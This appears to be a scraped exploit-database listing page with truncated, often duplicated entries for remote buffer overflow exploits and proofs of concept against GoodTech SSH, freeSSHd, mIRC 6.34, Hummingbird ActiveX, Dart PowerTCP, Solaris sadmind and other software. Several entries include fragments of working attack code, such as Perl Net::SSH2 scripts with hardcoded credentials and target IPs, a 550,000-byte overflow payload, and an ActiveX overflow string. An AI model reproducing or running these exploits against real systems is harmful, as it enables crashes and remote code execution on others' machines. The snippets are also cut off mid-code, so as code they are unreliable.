libcdaudio -- remote buffer overflow and code execution

securityfocus reports: The 'libcdaudio' library is prone to a remote heap code in the context of an application that uses the library. Failed attacks will cause denial-of-service conditions. A buffer-overflow in Grip occurs when the software processes a response to a CDDB query that has more than...

Oracle WebLogic Apache连接器远程缓冲区溢出漏洞

CVECAN ID: CVE-2008-4008 WebLogic包含多种应用系统集成方案，包括Server/Express/Integration等。 WebLogic的Apache连接器实现上存在漏洞，模块做处理请求所带的畸形参数时，未进行长度检查就把字符串拷贝到固定长度的栈缓冲区中，远程攻击者可能利用此漏洞触发栈溢出，导致执行任意指令。 Oracle WebLogic Server Oracle ------ 目前厂商已经发布了升级补丁以修复这个安全问题，请到厂商的主页下载：...

GoodTech SSH (SSH_FXP_OPEN) Remote Buffer Overflow Exploit

No description provided by source. GoodTech SSH Remote Buffer Overflow Exploit Written by r0ut3r - writ3r at gmail.com SSHFXPOPEN command contains a buffer oveflow. All other operations are also vulnerable, opendir, unlink, etc. 0day for 2 months : use Net::SSH2; my $user = "root"; my $pass =...

GoodTech SSH (SSH_FXP_OPEN) Remote Buffer Overflow Exploit

Exploit for unknown platform in category remote exploits ========================================================== GoodTech SSH SSHFXPOPEN Remote Buffer Overflow Exploit ========================================================== GoodTech SSH Remote Buffer Overflow Exploit Written by r0ut3r -...

freeSSHd 1.2.1 - (Authenticated) SFTP realpath Remote Buffer Overflow (PoC)

freeSSHd 1.2.1 - Authenticated SFTP realpath Remote Buffer Overflow PoC !/usr/bin/perl Jeremy Brown [email protected]/jbrownsec.blogspot.com FreeSSH 1.2.1 Crash 2 -- A Product of Fuzzing. Stay Tuned For More. use Net::SSH2; $host = "192.168.0.100"; $port = 22; $username = "test"; $password =...

freeSSHd 1.2.1 sftp rename Remote Buffer Overflow PoC (auth)

Exploit for unknown platform in category dos / poc ============================================================ freeSSHd 1.2.1 sftp rename Remote Buffer Overflow PoC auth ============================================================ !/usr/bin/perl Jeremy Brown email protected/jbrownsec.blogspot.co...

freeSSHd 1.2.1 - (Authenticated) SFTP rename Remote Buffer Overflow (PoC)

freeSSHd 1.2.1 - Authenticated SFTP rename Remote Buffer Overflow PoC !/usr/bin/perl Jeremy Brown [email protected]/jbrownsec.blogspot.com FreeSSH 1.2.1 Crash -- A Product of Fuzzing. Stay Tuned. use Net::SSH2; $host = "192.168.0.187"; $port = 22; $username = "test"; $password = "test"; $dos =...

GoodTech SSH - 'SSH_FXP_OPEN' Remote Buffer Overflow

GoodTech SSH Remote Buffer Overflow Exploit Written by r0ut3r - writ3r at gmail.com SSHFXPOPEN command contains a buffer oveflow. All other operations are also vulnerable, opendir, unlink, etc. 0day for 2 months : use Net::SSH2; my $user = "root"; my $pass = "yahh"; my $ip = "127.0.0.1"; my $port...

freeSSHd 1.2.1 - (Authenticated) SFTP 'rename' Remote Buffer Overflow (PoC)

!/usr/bin/perl Jeremy Brown [email protected]/jbrownsec.blogspot.com FreeSSH 1.2.1 Crash -- A Product of Fuzzing. Stay Tuned. use Net::SSH2; $host = "192.168.0.187"; $port = 22; $username = "test"; $password = "test"; $dos = "A" x 550000; $ssh2 = Net::SSH2-new; $ssh2-connect$host, $port || die...

Dart Communications PowerTCP FTP module Remote BOF Exploit

No description provided by source. html pre Author: Intel Discovered by: Intel Software: PowerTCP ActiveX Vulnerable Component: DartFtp.dll Version: 2.0.2.0 Website: www.dart.com Description: "PowerTCP tools from Dart Communications are comprehensive tools you can include in your programs to...

Dart Communications PowerTCP FTP module - Remote Buffer Overflow

Dart Communications PowerTCP FTP module - Remote Buffer Overflow Author: Intel Discovered by: Intel Software: PowerTCP ActiveX Vulnerable Component: DartFtp.dll Version: 2.0.2.0 Website: www.dart.com Description: "PowerTCP tools from Dart Communications are comprehensive tools you can include in...

Hummingbird <= 13.0 ActiveX Remote Buffer Overflow PoC

No description provided by source. html !-- the latest version of this activex 13.0 is compiled with /gs, earlier versions aren't. The XXXX would have overwritten return address. by [email protected] -- object classid='clsid:FFB6CC68-702D-4FE2-A8E7-4DE23835F0D2' id='target' /object script...

Hummingbird <= 13.0 ActiveX Remote Buffer Overflow PoC

Exploit for unknown platform in category dos / poc ====================================================== Hummingbird arg1="001101220123012401250126012701280129012:012;012email protected" target.PlainTextPassword = arg1 0day.today 2018-02-16...

Hummingbird 13.0 - ActiveX Remote Buffer Overflow (PoC)

arg1="001101220123012401250126012701280129012:012;012012?012@012A012B012C012D012E012FXXXX" target.PlainTextPassword = arg1 milw0rm.com 2008-10-16...

Solaris sadmind adm_build_path - Remote Buffer Overflow (Metasploit)

$Id$ This file is part of the Metasploit Framework and may be subject to redistribution and commercial restrictions. Please see the Metasploit Framework web site for more information on licensing and terms of use. http://metasploit.com/framework/ require 'msf/core' class Metasploit3 'Sun Solaris...

mIRC 6.34 Remote Buffer Overflow Exploit

No description provided by source. !/usr/bin/perl mIRC 6.34 Remote Buffer Overflow Exploit Exploit by SkD skdrat at hotmail . com ---------------------------------------- A day's work of debugging and looking at mIRC. Tested on Windows XP SP3 English and Windows Vista SP0. Credits to securfrog fo...

mIRC 6.34 - Remote Buffer Overflow

mIRC 6.34 - Remote Buffer Overflow !/usr/bin/perl mIRC 6.34 Remote Buffer Overflow Exploit Exploit by SkD skdrat hotmail com ---------------------------------------- A day's work of debugging and looking at mIRC. Tested on Windows XP SP3 English and Windows Vista SP0. Credits to securfrog for...

mirc-overflow.txt

Mirc 6.34 Remote Buffer Overflow This poc allow you to own the 2 first EDI & EDX bytes. To become remote, add a simple document.location.href=irc://server.com/... in some html page use IO::Socket; sub sock my $sock=new IO::Socket::INET Listen = 1, LocalAddr = 'localhost', LocalPort = 6667, Proto ...

mIRC 6.34 Remote Buffer Overflow PoC

Exploit for unknown platform in category dos / poc ==================================== mIRC 6.34 Remote Buffer Overflow PoC ==================================== Mirc 6.34 Remote Buffer Overflow This poc allow you to own the 2 first EDI & EDX bytes. To become remote, add a simple...

Nokia PC Suite 7.0 - Remote Buffer Overflow

Nokia PC Suite 7.0 - Remote Buffer Overflow // source: https://www.securityfocus.com/bid/31475/info Nokia PC Suite is prone to a remote stack-based buffer-overflow vulnerability because it fails to perform adequate boundary checks on user-supplied data. An attacker can exploit this issue to execu...